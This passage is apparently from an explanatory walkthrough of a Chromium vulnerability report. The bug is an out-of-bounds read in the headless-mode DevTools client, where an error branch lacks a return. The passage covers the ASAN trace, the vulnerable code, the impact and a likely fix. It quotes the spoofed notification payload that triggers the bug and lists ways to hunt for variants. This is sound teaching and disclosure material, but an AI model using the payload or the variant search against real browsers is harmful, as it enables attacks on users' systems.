#0,#1and so on are the call stack: the chain of function calls that led to the problem.#0is where the bad read happened,DispatchProtocolMessageTask. The higher numbers are the callers: the task runner, the message loop, and eventuallyChromeMain. - The second block,
allocated by thread T0 (chrome) here, shows where the memory involved was originally created. It was created bySendCommandinSimpleDevToolsProtocolClient, called fromHeadlessCommandHandler::OnDevToolsProtocolExposed. In other words, the table was filled in when the browser sent its first command, and the bad read happens later, when a reply with an unknown id arrives. - The final
SUMMARYline repeats the key facts in one line: the error type, the source location and the function.
The top frame is the dereference in DispatchProtocolMessageTask; the allocation stack shows the map's backing vector being populated by SendCommand from HeadlessCommandHandler::OnDevToolsProtocolExposed.
Step 5: Restore the tree
git checkout -- .
Line by line:
git checkout -- .tells git to discard local changes in the current directory and restore the files to their last committed state.
This reverts the patch and returns the source tree to a clean state, so the next experiment starts from unmodified code.
Root cause
The vulnerable function is:
// components/devtools/simple_devtools_protocol_client/simple_devtools_protocol_client.cc
void SimpleDevToolsProtocolClient::DispatchProtocolMessageTask(
base::DictValue message) {
if (std::optional<int> id = message.FindInt(kId)) {
auto it = pending_response_map_.find(*id);
if (it == pending_response_map_.cend()) {
LOG(ERROR) << "Unexpected message id=" << *id;
agent_host_->GetProcessHost()->ShutdownForBadMessage(
content::RenderProcessHost::CrashReportMode::GENERATE_CRASH_DUMP);
// No return here. Execution continues.
}
ResponseCallback callback(std::move(it->second)); // OOB read
pending_response_map_.erase(it); // CHECK crash
std::move(callback).Run(std::move(message));
return;
}
// ...
}
Line by line:
- The comment at the top names the file this function lives in, so a reader can find it in the Chromium source tree.
void SimpleDevToolsProtocolClient::DispatchProtocolMessageTask(base::DictValue message)declares the function. It takes abase::DictValue, which is a dictionary of key and value pairs, here the parsed JSON message. It returns nothing (void).if (std::optional<int> id = message.FindInt(kId))looks for an integer field named bykId(the JSONid).std::optional<int>means "an integer, or nothing if the field is absent". If the field is present, the body of theifruns.auto it = pending_response_map_.find(*id);searches the table for the id.itis an iterator marking where the id was found, orcend()if it was not found.if (it == pending_response_map_.cend())checks whether the id was missing.LOG(ERROR) << "Unexpected message id=" << *id;writes an error line to the log, including the unexpected id.agent_host_->GetProcessHost()->ShutdownForBadMessage(...)asks the browser to shut down the renderer that sent the bad message.GENERATE_CRASH_DUMPis the crash report mode passed to the shutdown call.// No return here. Execution continues.is the comment that marks the bug. Areturnwould have stopped the function at this point. Without it, the next lines still run.ResponseCallback callback(std::move(it->second));tries to take the callback stored at the found position. But when the id was missing,itiscend(), which points past the end of the table's storage. Readingit->secondthere is the out-of-bounds read.pending_response_map_.erase(it);tries to remove the entry at that same invalid position. This is where theCHECKinside the erase code fires, but only after the bad read has already happened.std::move(callback).Run(std::move(message));invokes the callback with the message.return;ends the function.// ...indicates the rest of the function is omitted here.
ShutdownForBadMessage sends a termination signal to the renderer process and returns immediately. It does not terminate the current function, halt the browser thread, or throw. Control therefore proceeds to std::move(it->second) with it still pointing to cend(), which reads past the end of the vector's storage. The CHECK inside flat_tree::erase would catch the invalid position, but only after the read has already occurred.
The second half of the root cause is the missing validation on the notification path:
// content/browser/devtools/devtools_session.cc
void DevToolsSession::DispatchProtocolNotification(
blink::mojom::DevToolsMessagePtr message,
blink::mojom::DevToolsSessionStatePtr updates) {
ApplySessionStateUpdates(std::move(updates));
DispatchProtocolResponseOrNotification(client_, agent_host_,
std::move(message));
}
Line by line:
- The comment names the file,
content/browser/devtools/devtools_session.cc. void DevToolsSession::DispatchProtocolNotification(...)declares a function that handles a notification, which is a message the renderer sends on its own initiative rather than as a reply to a command.blink::mojom::DevToolsMessagePtr messageis the message itself, passed as a Mojo pointer.blinkis Chrome's rendering engine, andmojomis the interface definition language used to describe Mojo messages.blink::mojom::DevToolsSessionStatePtr updatesis the session state updates parameter.ApplySessionStateUpdates(std::move(updates));applies those updates first.DispatchProtocolResponseOrNotification(client_, agent_host_, std::move(message));passes the message on to the client. Notice what is missing: there is no check againstwaiting_for_response_, the list of commands the browser is actually waiting for.
This forwards the opaque message directly to client_->DispatchProtocolMessage. The renderer can therefore inject {"id":99999,"result":{}} as a notification, bypassing all transport-level validation, and trigger the OOB read in the browser process.
The vulnerable code has been present since the file was first added and has never been corrected. The introducing commit is [redacted] (2022-10-25, author Peter Kvitek, review https://chromium-review.googlesource.com/c/chromium/src/+/3943190). A commit is a recorded change to the source code, and the review link points to the change's review.
Impact
A compromised renderer can trigger an out-of-bounds read on the browser process main thread. The attack surface is headless command mode: SimpleDevToolsProtocolClient is only instantiated by HeadlessCommandHandler, which is created when Chrome is launched with --dump-dom, --screenshot or --print-to-pdf. No GPU is required, and the bug is reachable on all desktop platforms.
"Attack surface" means the set of ways an attacker can reach the vulnerable code. Here it is narrow but real: the browser must be started in headless command mode, and the renderer must already be compromised.
These flags see significant real-world adoption. The Chrome for Developers documentation promotes them as the primary built-in headless features. Docker images packaging headless Chrome for server-side use have accumulated substantial pull counts (zenika/alpine-chrome over 10 million pulls, browserless/chrome over 100 million pulls). The PHP package spatie/browsershot, whose v2 invoked the Chrome headless CLI directly, has over 32 million Packagist installs. Projects such as chromehtml2pdf position themselves as drop-in replacements for wkhtmltopdf using --print-to-pdf, and the official Chrome blog recommends --dump-dom as a zero-code server-side rendering solution (https://developer.chrome.com/blog/headless-chrome-ssr-js-sites). These flags are commonly used in CI pipelines, lightweight PDF generation services and shell-based web scraping workflows where the target URL is attacker-controlled.
Docker is a tool for packaging software into images that run the same way everywhere; a "pull" is a download of such an image. Packagist is the package repository for PHP, and an "install" there is a download by a project that depends on the package. The point of these numbers is scale: many services run Chrome this way.
The report classifies the weakness as an out-of-bounds read and the severity as medium. The platform records a bounty of 3000.00 USD.
Fix
The report does not describe a fix. The obvious correction, consistent with the root cause, is to return immediately after ShutdownForBadMessage in the not-found branch so that execution never reaches the dereference of cend(). Whether the notification path should also reject messages carrying an id field is not stated in the report.
Variants to test
- Other notification handlers that forward opaque messages. Look for
DispatchProtocolNotification-style entry points that pass a message body to a client without checking it against a pending-request table. A positive result is a client that treats a notification containing anidas a response. - Other error branches that call a shutdown helper without returning. Search for
ShutdownForBadMessageand similar termination helpers followed by code that uses the value that failed validation. A positive result is a path where the invalid iterator or value is dereferenced after the helper returns. - Other flat_map lookups that fall through on
cend(). Grep forfind(onbase::flat_mapfollowed by acend()comparison whose branch does not end inreturn,breakorcontinue. A positive result is a dereference of the past-end iterator, visible under ASAN as a container-overflow. - Other headless command entry points. Check whether components other than
HeadlessCommandHandlerinstantiate protocol clients in command mode, and whether they share the same response bookkeeping. A positive result is a second client reachable from a renderer with the same missing-return pattern.
Glossary
- AddressSanitizer (ASAN): a compiler tool that detects invalid memory accesses and prints a detailed report when one happens.
- Attack surface: the set of ways an attacker can reach a piece of vulnerable code.
- Browser process: the main Chrome process that coordinates tabs, child processes and the user interface.
- Callback: a function handed over to be called later, when an event occurs.
- CHECK: an assertion in Chrome's code that deliberately crashes the program if a condition is false.
- Commit: a recorded change to a source code repository.
- Compromised renderer: a renderer process that an attacker has already taken control of.
- Container-overflow: ASAN's term for touching memory just outside a container's allocated region.
- DevTools protocol: the message protocol Chrome uses for developer tools and for controlling the browser programmatically.
- Docker image: a packaged, runnable copy of software distributed through a registry; a pull is a download of one.
- DOM: the tree structure representing a web page's content, which
--dump-domprints as HTML. - Flat_map: a lookup table implemented on top of a sorted array, so lookups search inside that array.
- Headless mode: running a browser without a visible window.
- Iterator: a pointer-like object marking a position in a container;
cend()marks the position just past the last element. - JSON: a text format for structured data made of objects, arrays, strings and numbers.
- Map: a lookup table storing key and value pairs.
- Mojo: Chrome's system for sending messages between its processes.
- Out-of-bounds read: reading memory outside the region a program is allowed to access.
- Packagist: the package repository for PHP; an install is a download by a dependent project.
- Patch: a text file describing changes to source code, applied with a tool such as
git apply. - PoC (proof of concept): the minimal files or steps that demonstrate a bug.
- Renderer process: the Chrome process that loads and draws a web page.
- Remote: a handle that lets one process call functions in another as if they were local.
- Severity: a rating of how serious a vulnerability is, here medium.
- Thread: a sequence of instructions running inside a process; the main thread handles the browser's core work.
- Vector: a resizable array, the storage behind a flat_map here.
- VRP (Vulnerability Reward Program): a programme that pays researchers for reporting security bugs.